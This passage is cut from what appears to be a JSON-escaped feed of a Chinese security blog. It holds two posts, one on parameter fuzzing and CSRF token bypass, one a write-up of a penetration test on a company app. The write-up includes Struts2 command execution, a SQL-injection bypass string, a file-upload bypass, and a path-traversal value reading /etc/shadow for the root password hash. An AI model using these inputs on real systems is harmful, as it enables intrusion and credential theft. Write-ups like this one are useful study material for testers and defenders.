\/><\/p>\n\n<p>\u589e\u52a0\u7684\u53c2\u6570\u548c\u503c\u53ef\u4ee5<strong>\u5206\u6790\u7f51\u7ad9\u6570\u636e<\/strong>\u3001<strong>\u5173\u8054\u7f51\u7ad9\u6570\u636e<\/strong>\u3001<strong>\u6574\u5408\u81ea\u7528\u5b57\u5178\u4e0e\u7f51\u7ad9\u5b57\u6bb5\u7ed3\u5408<\/strong>\u3002<\/p>\n\n<p>\u54cd\u5e94\u62a5\u6587\u8f6c\u6362\uff1a<\/p>\n\n<pre><code class=\"language-json\">{\n    \"id\": \"1024\",\n    \"realName\": \"yudan\",\n    \"mobilePhone\": \"13888888888\",\n    \"cardNo\": \"111111111111111111\"\n}\n<\/code><\/pre>\n<p>\u8f6c\u6362\u4e3aHTTP\u8bf7\u6c42\u53c2\u6570 <strong>\u952e=\u503c<\/strong> \u683c\u5f0f\uff1a<\/p>\n\n<pre><code>id=1024\nrealName=yudan\nmobilePhone=13888888888\ncardNo=111111111111111111\n<\/code><\/pre>\n\n<p>\u521d\u6b21\u4e4b\u5916\u8fd8\u6709\u4ec0\u4e48\uff1f\u5f53\u7136\u662f\u4f7f\u7528\u81ea\u7528\u5b57\u5178\u548c\u5982\u4e0a\u603b\u7ed3\u7684\u8fdb\u884c\u6574\u5408\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/3.png\" alt=\"add\" \/><\/p>\n\n<p>\u6ce8\u610f\u4e00\u70b9\uff0c\u53c2\u6570\u90fd\u6574\u7406\u597d\u4e4b\u540e\uff0c\u5bf9\u5e94\u7684\u503c\u91c7\u7528B\u8d26\u53f7\u7684\u5bf9\u5e94\u503c\uff0c\u56e0\u4e3a\u8fd9\u6837\u624d\u4f1a\u6709\u5dee\u5f02\uff0c\u624d\u80fd\u8fdb\u884c\u5206\u6790\u662f\u5426\u5b58\u5728\u76f8\u5173\u7684\u6f0f\u6d1e\uff0c\u4e00\u822c\u52a0\u53c2\u6570\u4f1a\u5b58\u5728<strong>\u8d8a\u6743<\/strong>\u95ee\u9898\uff5e<\/p>\n\n<h4 id=\"\u589e---\u6df1\u5165\">\u589e - \u6df1\u5165<\/h4>\n\n<p>\u5f88\u591a\u5c0f\u4f19\u4f34\u6316\u6f0f\u6d1e\u7684\u65f6\u5019\u6838\u5fc3\u4e1a\u52a1\u6316\u4e0d\u52a8\u90a3\u80af\u5b9a\u603c\u4e00\u4e9b\u8fb9\u7f18\u4e1a\u52a1\u548c\u4e00\u4e9b\u540e\u53f0\u7cfb\u7edf\u4e86\uff0c\u5927\u591a\u6570\u4eba\u5e94\u8be5\u90fd\u9047\u89c1\u8fc7\u8fd9\u6837\u7684\u95ee\u9898\uff0c\u627e\u5230\u4e86\u4e00\u4e2a\u540e\u53f0\u7684\u5730\u5740\u70b9\u8fdb\u53bb\u662f\u7ba1\u7406\u754c\u9762\uff0c\u7a81\u7136\u7684\u6709js\u8df3\u8f6c\u5230\u767b\u5f55\u754c\u9762\u53bb\u4e86\uff0c\u4f46\u662f\u67e5\u770b\u9875\u9762\u4ee3\u7801\u5374\u80fd\u83b7\u53d6\u5230\u5f88\u591a\u7684\u540e\u53f0\u63a5\u53e3\uff5e<\/p>\n\n<p>\u5f88\u591a\u4eba\u4f1a\u9009\u62e9\u767b\u5f55\u7206\u7834\u3001\u672a\u6388\u6743\u63a5\u53e3\u4f7f\u7528\u8fd9\u4e9b\u5e38\u89c4\u64cd\u4f5c\u7c7b\u578b\u53bb\u6d4b\u8bd5\uff0c\u53ef\u80fd\u6d4b\u5b8c\u5c31\u4f1a\u629b\u6389\u4e86\uff0c\u800c\u6211\u4e4b\u524d\u6d4b\u8bd5\u67d0\u9879\u76ee\u7684\u65f6\u5019\u78b0\u89c1\u7684\u5c31\u662f\u5f53\u6211\u5728\u63a5\u53e3\u540e\u9762\u52a0\u4e0aadmin=1\u7684\u65f6\u5019\u54cd\u5e94\u62a5\u6587\u8fd4\u56de\u4e86\u8fd9\u6837\u7684\u5934\uff1a<\/p>\n\n<pre><code class=\"language-http\">Set-Cookie: xxxxxx=xxxxxxx\n<\/code><\/pre>\n\n<p>\u7ed9\u6211\u8bbe\u7f6e\u4e86\u4e00\u4e2aCookie\uff0c\u6211\u4f7f\u7528\u8fd9\u4e2aCookie\u76f4\u63a5\u5c31\u8fdb\u5165\u4e86\u540e\u53f0\u3002<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/4.png\" alt=\"hidden\" \/><\/p>\n\n<h3 id=\"\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u5220\">\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u5220<\/h3>\n\n<p>\u5728\u8fd9\u91cc\u6709\u4e00\u5904\u5b9e\u9645\u573a\u666f\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/5.png\" alt=\"mail\" \/><\/p>\n\n<p>\u5176\u6d41\u7a0b\u662f\u8fd9\u6837\u7684\uff1a\u8f93\u5165\u90ae\u7bb1-&gt;\u70b9\u51fb\u4fee\u6539\u90ae\u7bb1-&gt;\u53d1\u9001\u4fee\u6539\u94fe\u63a5\u5230\u8be5\u90ae\u7bb1-&gt;\u90ae\u7bb1\u6253\u5f00\u4fee\u6539\u94fe\u63a5-&gt;\u6210\u529f\u4fee\u6539<\/p>\n\n<p>\u660e\u663e\u6d41\u7a0b\u5c31\u6709\u95ee\u9898\uff0c\u6309\u7167\u5e38\u7684\u6d41\u7a0b\u6765\u8bf4\u5e94\u8be5\u5148\u9a8c\u8bc1\u539f\u90ae\u7bb1(\u624b\u673a\u53f7)\u518d\u505a\u4fee\u6539\u64cd\u4f5c\u3002<\/p>\n\n<p>\u70b9\u51fb\u4fee\u6539\u90ae\u7bb1\u6309\u94ae\u83b7\u53d6\u5230\u7684\u8bf7\u6c42\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-http\">POST \/uc\/changeEmail HTTP\/1.1\nHost: **\n...\n\nmail=admin%40gh0st.cn&amp;token=md5(token)\n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u6709Token\u4fdd\u62a4\uff0c\u7528\u6765\u9632\u5fa1CSRF\u7684\uff0c\u8fd9\u91cc\u5c06token\u7f6e\u7a7a\u6216\u8005<strong>\u5220\u9664 \u952e=\u503c<\/strong> \u5373\u53ef\u7ed5\u8fc7\uff0c\u8fd9\u91cc\u662f\u56e0\u4e3atoken\u5e76\u6ca1\u6709\u5b9e\u9645\u7684\u53bb\u505a\u6821\u9a8c\uff0c\u4e5f\u5c31\u662f\u201d\u8868\u9762\u5b89\u5168\u201d\u3002<\/p>\n\n<h3 id=\"\u589e\u7684\u7ec4\u5408\u62f3\">\u589e\u7684\u7ec4\u5408\u62f3<\/h3>\n\n<p>\u5728\u201d\u5220\u201d\u8fd9\u4e2a\u73af\u8282\u91cc\u8bf4\u5230\u4e86\u5220\u9664CSRF\u7684<code>token<\/code>\u7ed5\u8fc7\u7684\u65b9\u6cd5\uff0c\u4f46\u4e0d\u4e45\u4e4b\u540e\u5382\u5546\u8fdb\u884c\u4e86\u4fee\u590d\u3002\u3002\u3002<\/p>\n\n<p>\u5b83\u6210\u529f\u7684\u8ba9token\u6821\u9a8c\u4e86\uff0c\u8fd9\u91cc\u65e0\u6cd5\u518d\u4f7f\u7528\u539f\u6765\u7684\u65b9\u6cd5\u4e86\uff0c\u4f46\u662f\u5728\u8fd9\u91cc\u89c2\u5bdf\u8bf7\u6c42\u548c\u54cd\u5e94\uff1a<\/p>\n\n<pre><code class=\"language-http\">POST \/uc\/changeEmail HTTP\/1.1\nHost: **\n...\n\nmail=admin%40gh0st.cn&amp;token=md5(token)\n<\/code><\/pre>\n\n<p>\u54cd\u5e94\u4e3b\u4f53\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/6.png\" alt=\"mail\" \/><\/p>\n\n<p>\u8fd9\u91cc\u8f93\u5165\u4e00\u4e2a\u9519\u8bef\u7684\u6216\u8005\u5df2\u7ecf\u7ed1\u5b9a\u8fc7\u7684\u4f1a\u63d0\u793a\u8f93\u5165\u9519\u8bef\uff0c\u7136\u540e\u56de\u663e\u8bf7\u6c42\u62a5\u6587\u4e2d\u7684POST Data\u53c2\u6570mail\u7684\u503c\uff5e<\/p>\n\n<p>\u4e5f\u5c31\u662f\u8bf4\u5728\u8fd9\u91cc\u4e5f\u8bb8\u4f1a\u5b58\u5728CSRF + POST XSS\uff0c\u4f46\u662f\u56e0\u4e3aToken\u95ee\u9898\u6ca1\u529e\u6cd5\u5229\u7528\uff5e\u6211\u4eec\u8be5\u600e\u4e48\u529e\uff1f<\/p>\n\n<p>\u8fd9\u91cc\u601d\u6765\u60f3\u53bb\uff0c\u53ea\u80fd\u5c1d\u8bd5\u8bbe\u60f3\u540e\u53f0\u7684\u53c2\u6570\u63a5\u6536-&gt;\u8f93\u51fa\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\n    echo $_REQUEST['mail'];\/\/\u6ce8\u610f\u8fd9\u91cc\u4f7f\u7528\u7684\u662f$_REQUEST \u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5305\u542b\u4e86 $_GET\uff0c$_POST \u548c $_COOKIE \u7684\u6570\u7ec4\u3002\n?&gt;\n<\/code><\/pre>\n\n<p>\u5982\u679c\u662f\u5982\u4e0a\u7684\u63a5\u6536\u8f93\u51fa\uff0c\u90a3\u4e48\u5728\u8fd9\u91cc\uff0c\u6211\u4fee\u6539\u94fe\u63a5\u4e3a\uff1a<\/p>\n\n<p><code>http:\/\/gh0st.cn\/uc\/changeEmail?mail=admin@gh0st.cn<\/code><\/p>\n\n<p>\u795e\u5947\u7684\u53d1\u73b0\u9875\u9762\u56de\u663e\u4e86admin@gh0st.cn\u5230\u754c\u9762\u4e0a\u4e86\uff0c\u4f46\u662f\u5e76\u4e0d\u4f1a\u53bb\u8d70\u4fee\u6539\u90ae\u7bb1\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u91cc\u8fd8\u662f\u9700\u8981POST\u8bf7\u6c42\u624d\u4f1a\u8d70\u4fee\u6539\u90ae\u7bb1\u6d41\u7a0b\uff0c\u8fd9\u91cc\u6211\u5148\u6709\u4e86\u53cd\u5c04XSS\u7684\u60f3\u6cd5\uff0c\u4f46\u662f\u5948\u4f55\u8fc7\u6ee4\u4e86\u2026<\/p>\n\n<p>\u4e8e\u662f\u884d\u751f\u4e86\u7b2c\u4e8c\u4e2a\u601d\u8def\u642d\u914d\u70b9\u51fb\u52ab\u6301\uff5e\uff08\u79d1\u666e\u4e00\u4e0b\uff1f-&gt;http:\/\/gh0st.cn\/archives\/2017-12-20\/1\uff09<\/p>\n\n<p>\u900f\u660e\u5316\u4fee\u6539\u90ae\u7bb1\u754c\u9762\uff0c\u7136\u540e\u83b7\u53d6\u4fee\u6539\u90ae\u7bb1\u6309\u94ae\u4f4d\u7f6e\uff0c\u505a\u4e00\u4e2a\u4e00\u6a21\u4e00\u6837\u7684\u6309\u94ae\u653e\u5728\u4fee\u6539\u90ae\u7bb1\u6309\u94ae\u4e4b\u4e0a\uff0c\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u8fd9\u4e2a\u6309\u94ae\u5b9e\u9645\u4e0a\u662f\u70b9\u51fb\u4e86\u4fee\u6539\u90ae\u7bb1\u7684\u6309\u94ae\uff5e<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/7.png\" alt=\"clickjacking\" \/><\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u611f\u8c22\u6709\u4f60\uff0c\u6bcf\u4e00\u4e2a\u4f60\uff0c\u90fd\u8981\u6d3b\u7684\u7cbe\u5f69\u3002<\/p>\n\n","pubDate":"2018-07-25T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-07-25\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-07-25\/1"},{"title":"\u8bb0\u4e00\u6b21\u5bf9\u67d0\u4f01\u4e1a\u7684\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u672c\u6587\u603b\u7ed3\u4e00\u4e0b\u6f2b\u957f\u7684\u6e17\u900f\u6d4b\u8bd5\u8fc7\u7a0b\uff0c\u60f3\u5c3d\u4e86\u5404\u79cd\u65b9\u6cd5\uff0c\u7ec8\u4e8e\u627e\u5230\u4e86\u7a81\u7834\u53e3\u3002so\u6ca1\u6709\u7edd\u5bf9\u7684\u5b89\u5168\uff0c\u6240\u8c13\u7684\u5b89\u5168\u6027\u5176\u5b9e\u90fd\u662f\u76f8\u5bf9\u7684\uff5e<\/p>\n\n<h1 id=\"\u4fe1\u606f\u8e29\u70b9\">\u4fe1\u606f\u8e29\u70b9<\/h1>\n\n<p>\u5728\u8fd9\u91cc\u5176\u5b9e\u6ca1\u529e\u6cd5\u53bb\u505a\u4e00\u4e9b\u6709\u4ef7\u503c\u7684\u6536\u96c6\uff0c\u53ea\u80fd\u8e29\u70b9\uff0c\u8e29\u5751\u3002<\/p>\n\n<h2 id=\"\u4fe1\u606f\u96be\u70b9\">\u4fe1\u606f\u96be\u70b9\uff1a<\/h2>\n\n<h3 id=\"\u4f20\u8f93\u52a0\u5bc6\">\u4f20\u8f93\u52a0\u5bc6\uff1a<\/h3>\n\n<p>\u8981\u505a\u6e17\u900f\u7684\u76ee\u6807\u662f\u4e00\u4e2aAPP\uff0c\u6839\u636e\u6293\u5230\u7684\u8bf7\u6c42\u5305\u53d1\u73b0\u8fd9\u4e2aAPP\u662f\u7ecf\u8fc7\u67d0\u4ea7\u54c1\u52a0\u56fa\u8fc7\u7684\uff0c\u6240\u4ee5HTTP\u7684POST\u8bf7\u6c42\u6b63\u6587\u90e8\u5206(Data)\u662f\u795e\u5947\u7684\u5bc6\u6587\uff5e<\/p>\n\n<h4 id=\"\u5206\u6790\u96be\u70b9\">\u5206\u6790\u96be\u70b9<\/h4>\n\n<p>\u5206\u6790\uff1a<\/p>\n\n<ul>\n  <li>\u4fe1\u606f\u8e29\u70b9\u5176\u5b9e\u4e5f\u662f\u89e3\u51b3\u96be\u70b9\u7684\u8fc7\u7a0b\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u5c1d\u8bd5\u5bf9APP\u8fdb\u884c\u9006\u5411\uff0c\u53d1\u73b0\u5e76\u6ca1\u6709\u4ec0\u4e48\u4e1c\u897f\uff0c\u56e0\u4e3a\u88ab\u52a0\u56fa\u4e86\u3002<\/li>\n  <li>\u5bf9APP\u8fdb\u884c\u529f\u80fd\u7684\u6574\u7406\uff0c\u9010\u4e2a\u529f\u80fd\u70b9\u8fdb\u884c\u6293\u5305\u5206\u6790\uff1a\n    <ul>\n      <li>\u8bf7\u6c42\u6b63\u6587(data)\u867d\u7136\u662f\u5bc6\u6587\uff0c\u4f46\u662f\u8bf7\u6c42\u7684URI\u8fd8\u662f\u771f\u6b63\u6309\u7167\u5bf9\u5e94\u7684\u529f\u80fd\u53bb\u8bf7\u6c42\u7684\uff08\u53c2\u8003URI\u7684\u547d\u540d\u548c\u529f\u80fd\u7684\u76f8\u5bf9\u5e94\u6027\uff09<\/li>\n    <\/ul>\n  <\/li>\n<\/ul>\n\n<h4 id=\"\u5efa\u7acb\u8bbe\u60f3a\">\u5efa\u7acb\u8bbe\u60f3(A)\uff1a<\/h4>\n\n<p>\u5728\u8fd9\u91cc\u8bf7\u6559\u4e86\u5e08\u5085\uff0c\u8bf4\u53ef\u80fdGET\u8bf7\u6c42\u53c2\u6570\u5e76\u6ca1\u6709\u7ecf\u8fc7\u52a0\u5bc6\uff0c\u800c\u540e\u53f0\u5f88\u6709\u53ef\u80fd\u662f\u8fd9\u6837\u5199\u7684\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\n$mstsec = $_REQUEST['vulkey'];\/\/\u6ce8\u610f\u8fd9\u91cc\u4f7f\u7528\u7684\u662f$_REQUEST \u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5305\u542b\u4e86 $_GET\uff0c$_POST \u548c $_COOKIE \u7684\u6570\u7ec4\u3002\n?&gt;\n<\/code><\/pre>\n\n<ul>\n  <li>\u4e00\u70b9\u5373\u901a\uff0c\u9996\u5148\u6211\u53ef\u4ee5\u53bb\u6d4b\u8bd5\u662f\u5426\u662f\u771f\u7684\u8fd9\u6837\u7684\u540e\u7aef\u5904\u7406\u63a5\u6536\u3002<\/li>\n  <li>\u4e3a\u4e86\u6ee1\u8db3\u7b2c\u4e00\u6b65\u7684\u9a8c\u8bc1\uff0c\u6211\u9700\u8981\u60f3\u529e\u6cd5\u627e\u5230\u4e00\u4e2aGET\u8bf7\u6c42\u7684\u5305\u5e76\u4e14\u6709\u5e26\u6709GET\u53c2\u6570\uff0c\u8fd9\u6837\u6211\u624d\u80fd\u5224\u65ad\u89c4\u5219\uff0c\u4e0d\u7136\u5c31\u662f\u5927\u6d77\u635e\u9488\u3002<\/li>\n<\/ul>\n\n<h2 id=\"\u6709\u4ef7\u503c\u7684\u4e1c\u897f\">\u6709\u4ef7\u503c\u7684\u4e1c\u897f<\/h2>\n\n<p>\u5176\u5b9e\u5bf9APP\u505a\u6e17\u900f\u6d4b\u8bd5\uff0c\u5927\u90e8\u5206\u60c5\u51b5\u4e0b\u8fd8\u662f\u5bf9\u7f51\u7ad9\u505a\u6e17\u900f\u6d4b\u8bd5\u3002<\/p>\n\n<p>\u6240\u4ee5\u5728\u8fd9\u91cc\u6293\u5305\u83b7\u53d6\u5230\u7684HOST\uff0c\u76f4\u63a5\u5bf9\u5176\u8fdb\u884c\u4e86\u524d\u671f\u7684\u5e38\u89c4\u4fe1\u606f\u523a\u63a2\uff08\u7aef\u53e3\u3001\u76ee\u5f55\u3001\u6307\u7eb9\u2026\uff09<\/p>\n\n<p>\u4e2d\u95f4\u4ef6\uff1aTomcat<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x00.png\" alt=\"Tomcat\" \/><\/p>\n\n<p>\u76ee\u5f55\u5f00\u653e\uff1a\/fileUpload\/<\/p>\n\n<p>\u7aef\u53e3\u5f00\u653e\uff1a8001 1444<\/p>\n\n<p>APP\u4e09\u4e2a\u529f\u80fd\u70b9\uff1a\u4e2a\u4eba\u7528\u6237\u3001\u8d44\u91d1\u7ba1\u7406\u3001\u751f\u6d3b\u680f\u76ee<\/p>\n\n<h1 id=\"\u6e17\u900f\u5f00\u7aef\">\u6e17\u900f\u5f00\u7aef<\/h1>\n\n<p>\u4e00\u5f00\u59cb\u7c97\u7565\u7684\u5bf9\u6574\u4e2aAPP\u8fdb\u884c\u6293\u5305\uff0c\u7136\u540e\u505a\u4e00\u4e9b\u7b80\u5355\u7684\u6d4b\u8bd5\uff0c\u53d1\u73b0\u5e76\u6ca1\u6709\u90a3\u79cd\u660e\u9762\u4e0a\u7684\u6f0f\u6d1e\uff08SQL\u6ce8\u5165\u3001XSS\u7b49\u7b49\u2026\uff09\uff0c\u4f46\u662f\u83b7\u53d6\u4e86\u8fd9\u51e0\u6761URI\uff1a<\/p>\n\n<ol>\n  <li>\/userCenter\/getUser <strong>[\u83b7\u53d6\u7528\u6237\u4fe1\u606fURI POST]<\/strong><\/li>\n  <li>\/userCenter\/pay\/getSign?userSign= <strong>[\u83b7\u53d6Sign POST]<\/strong><\/li>\n  <li>\/userCenter\/life\/showShop?pId= <strong>[\u83b7\u53d6\u5546\u54c1\u4fe1\u606f GET]<\/strong><\/li>\n  <li>\/userCenter\/showQRcode <strong>[\u83b7\u53d6\u4e8c\u7ef4\u7801\u56fe\u7247 POST]<\/strong><\/li>\n<\/ol>\n\n<h2 id=\"\u4e0d\u5c0f\u5fc3\u65e5\u504f\">\u4e0d\u5c0f\u5fc3\u65e5\u504f<\/h2>\n\n<p>\u4ed4\u7ec6\u7684\u5bf9\u6bcf\u4e2a\u529f\u80fd\u70b9\u8fdb\u884c\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u6293\u5230\u4e86\u4e00\u4e9b\u201d\u9003\u51fa\u52a0\u56fa\u547d\u8fd0\u201d\u7684\u660e\u6587\u62a5\u6587\u3002<\/p>\n\n<ul>\n  <li>\u53d1\u73b0\u4e86S2-005\u8fd9\u4e2a\u5386\u53f2\u60a0\u4e45\u7684Struts2\u6846\u67b6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u95ee\u9898\uff1a<\/li>\n<\/ul>\n\n<p>\u6267\u884c\u4e86<code>whoami<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x01.png\" alt=\"S2-005\" \/><\/p>\n\n<ul>\n  <li>\u53d1\u73b0\u4e86SQL\u6ce8\u5165\uff0c\u8fd9\u91cc\u9700\u8981\u505a\u4e00\u4e9b\u7b80\u5355\u7684\u7ed5\u8fc7(e.g. <code>AandND 1 like 1<\/code>)\uff1a<\/li>\n<\/ul>\n\n<p><img src=\"\/images\/2018-06-20\/0x02.png\" alt=\"SQLi\" \/><\/p>\n\n<p>\u7136\u800c\u6ca1\u770b\u6e05\u695a\uff0c\u4e00\u4e0b\u6b21\u7ed9\u65e5\u9519\u5730\u65b9\u4e86\u2026\u5f88\u5c34\u5c2c\u3002<\/p>\n\n<h2 id=\"\u5173\u8054\u5206\u6790\">\u5173\u8054\u5206\u6790<\/h2>\n\n<p>\u65e5\u504f\u540e\u6211\u5206\u6790\u4e86\u4e00\u4e0b\u4e24\u8005\u7684\u7279\u5f81\uff0c\u53d1\u73b0\u5e94\u8be5\u51fa\u81ea\u540c\u4e00\u4e2a\u7a0b\u5e8f\u5458\u4e4b\u624b\uff0c\u5e76\u4e14\u8fd9\u4e2a\u7a0b\u5e8f\u5458\u5f88\u559c\u6b22\u4f7f\u7528\u9a7c\u5cf0\u547d\u540d\u6cd5\u2026<\/p>\n\n<h3 id=\"\u9a8c\u8bc1\u8bbe\u60f3a\">\u9a8c\u8bc1\u8bbe\u60f3(A)<\/h3>\n\n<p>\u5728\u8fd9\u91cc\u6211\u5c1d\u8bd5\u6839\u636e\u6bcf\u4e2aURI\u529f\u80fd\u70b9\u751f\u6210GET\u8bf7\u6c42\u53c2\u6570\u7684dict\uff1a<\/p>\n\n<ul>\n  <li>\n    <p>\/userCenter\/getUser <strong>[\u83b7\u53d6\u7528\u6237\u4fe1\u606fURI POST]<\/strong><\/p>\n\n    <p>dict: [uId, userId, uName, userName \u2026]<\/p>\n  <\/li>\n  <li>\n    <p>\/userCenter\/showQRcode <strong>[\u83b7\u53d6\u4e8c\u7ef4\u7801\u56fe\u7247 POST]<\/strong><\/p>\n\n    <p>dict: [uId, userId, uName, userName, imagePath, filePath, codePath, fileName \u2026]<\/p>\n  <\/li>\n<\/ul>\n\n<p>\u751f\u6210\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-php\">GET \/userCenter\/getUser?uId=10001\nGET \/userCenter\/getUser?userId=10001\nGET \/userCenter\/getUser?uName=test001\nGET \/userCenter\/getUser?userName=test001\n...\nGET \/userCenter\/showQRcode?uId=10001\nGET \/userCenter\/showQRcode?userId=10001\nGET \/userCenter\/showQRcode?uName=test001\nGET \/userCenter\/showQRcode?userName=test001\nGET \/userCenter\/showQRcode?imagePath=..\/..\/index.do\nGET \/userCenter\/showQRcode?filePath=..\/..\/index.do\nGET \/userCenter\/showQRcode?codePath=..\/..\/index.do\nGET \/userCenter\/showQRcode?fileName=..\/..\/index.do\n...\n<\/code><\/pre>\n\n<h4 id=\"\u7ed3\u8bba\">\u7ed3\u8bba<\/h4>\n\n<p>\u73b0\u5b9e\u6b8b\u9177\uff0c\u6253\u8d25\u4e86\u8bbe\u60f3\u3002<\/p>\n\n<h3 id=\"\u7edd\u5904\u9022\u751f\">\u7edd\u5904\u9022\u751f<\/h3>\n\n<p>\u5c31\u5728\u60f3\u653e\u5f03\u7684\u65f6\u5019\uff0c\u51b3\u5b9a\u6253\u7b97\u201d\u5782\u6b7b\u6323\u624e\u201d\u4e00\u4e0b\uff0c\u91cd\u65b0\u5f00\u59cb\u201d\u5ba1\u89c6\u201d\u4e86\u5404\u4e2a\u529f\u80fd\u6a21\u5757\uff0c\u773c\u5149\u53c8\u8f6c\u5230\u4e86\u8fd9\u4e2a\u4e8c\u7ef4\u7801\u5730\u65b9\u3002\uff08\u56e0\u4e3a\u4e8c\u7ef4\u7801\u7684\u201d\u76ae\u76f8\u201d\uff0c\u6240\u4ee5\u5f88\u591a\u4eba\u90fd\u4f1a\u5ffd\u7565\u5b83\uff09<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x03.png\" alt=\"QRcode\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6211\u53bb\u89e3\u6790\u4e86\u4e8c\u7ef4\u7801\u7684\u5730\u5740\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x04.png\" alt=\"QRaddress\" \/><\/p>\n\n<p>\u5931\u7b97\u2026\u5931\u7b97\u2026\uff0c\u5f53\u53bb\u8bbf\u95ee\u8fd9\u4e2a\u5730\u5740\u7684\u65f6\u5019\uff0c\u54cd\u5e94\u62a5\u6587\u4e2d\u4f1a\u591a\u51fa\u8fd9\u6837\u7684\u5934\uff1a<\/p>\n\n<pre><code class=\"language-http\">...\nSet-Cookie: USESSIONPID=xxx;\n...\n\njpg content\n<\/code><\/pre>\n\n<p>\u8fd9\u65f6\u5019\u6211\u5c31\u77e5\u9053\u662f\u65f6\u5019\u4fee\u6539<code>uId<\/code>\u4e86\uff0c\u7136\u800c\u4fee\u6539\u4e86\u6ca1\u7528\uff0c\u6839\u636e\u591a\u5e74\u7684\u7ecf\u9a8c\uff08\u5439\u725b\uff09\u6211\u8ba4\u4e3a\u662f<code>uSign<\/code>\u53c2\u6570\u8d77\u4e86\u4f5c\u7528\uff0c\u8fd9\u65f6\u5019\u5bf9<code>uSign<\/code>\u8fdb\u884c\u5220\u9664\u53d1\u73b0\u4e0d\u884c\uff0c\u4f1a\u63d0\u793a<code>uSign<\/code>\u53c2\u6570\u4e0d\u5b58\u5728\uff0c\u5f53\u6211\u7f6e\u7a7a\u8fd9\u4e2a\u53c2\u6570\uff0c\u53d1\u73b0\u5c45\u7136\u6210\u529f\u4e86\u53c8\u8fd4\u56de\u4e86\u7528\u6237\u7684Cookie\u51ed\u8bc1\u2026\u597d\u5427\uff0c\u8bf4\u660e\u8fd9\u91cc\u6709\u4e00\u4e2a\u903b\u8f91\u95ee\u9898\u2026<\/p>\n\n<p>\u5230\u8fd9\u4e0b\u53bb\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u83b7\u53d6\u7ba1\u7406\u5458\u6743\u9650\u6709\u4e0a\u4f20\u70b9\uff0c\u6d4b\u8bd5\u4f7f\u7528jhtml\u7684\u540e\u7f00\u53ef\u4ee5\u76f4\u63a5\u7ed5\u8fc7\u4e0a\u4f20\uff0c\u4f46\u662f\u4e0a\u4f20\u4e0a\u53bb\u4e4b\u540e\uff0c\u76f4\u63a5\u8bbf\u95ee\u5c31\u7ed9\u4f60download\u4e0b\u6765\u4e86\uff08\u5f88\u591a\u6b21\u9047\u5230\u8fd9\u79cd\u95ee\u9898\u2026\uff09<\/p>\n\n<p>\u597d\u5427\uff0c\u7ba1\u7406\u5458\u4e5f\u6ca1\u5565\u80fd\u5371\u5bb3\u5230\u670d\u52a1\u5668\u7684\u4e1c\u897f\u4e86\u2026\u4e0d\u8fc7\u56de\u8fc7\u5934\u518d\u6765\u770b\u770b\uff0c\u4e8c\u7ef4\u7801\u8fd9\u4e2a\u70b9\u8fd8\u6ca1\u5543\u5b8c\u5462\uff0c<code>fileName<\/code>\u8fd9\u4e2a\u53c2\u6570\u8fd8\u6ca1\u53bb\u6d4b\u8bd5\uff0cfuzzdb\u4e86\u89e3\u4e00\u4e0b\uff0c\u5148\u603clfi\u7684\u5b57\u5178\u8fdb\u53bb\u8dd1\uff08\u6709\u4e2a\u5751\u8fd9\u91cc\u4e00\u5b9a\u8981\u586b\u5199\u5b8c\u6574[uId, uSign]\uff09\uff0c\u7136\u540e\u518d\u8fdb\u884cFuzz\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x05.png\" alt=\"fuzzdb lfi\" \/><\/p>\n\n<p>\u4ece<strong>intruder\u6a21\u5757(BurpSuite)<\/strong>\u7684\u6d4b\u8bd5\u7ed3\u679c\u53d1\u73b0\u8fd9\u91cc\u662f\u53ef\u4ee5\u8bfb\u53d6\u6587\u4ef6\u7684\uff0c\u5e76\u4e14\u5224\u65ad\u8fd9\u4e2aweb\u670d\u52a1\u662froot\u6743\u9650\u8fd0\u884c\u7684\u56e0\u4e3a\u6211\u4fee\u6539<code>fileName<\/code>\u53c2\u6570\u7684\u503c\u4e3a<code>..\/..\/..\/etc\/shadow<\/code>\u65f6\u6211\u76f4\u63a5\u53ef\u4ee5\u83b7\u53d6\u5230\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u4ece\u800c\u83b7\u53d6root\u8d26\u53f7\u6743\u9650\u7684\u5bc6\u7801\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x06.png\" alt=\"cat shadow\" 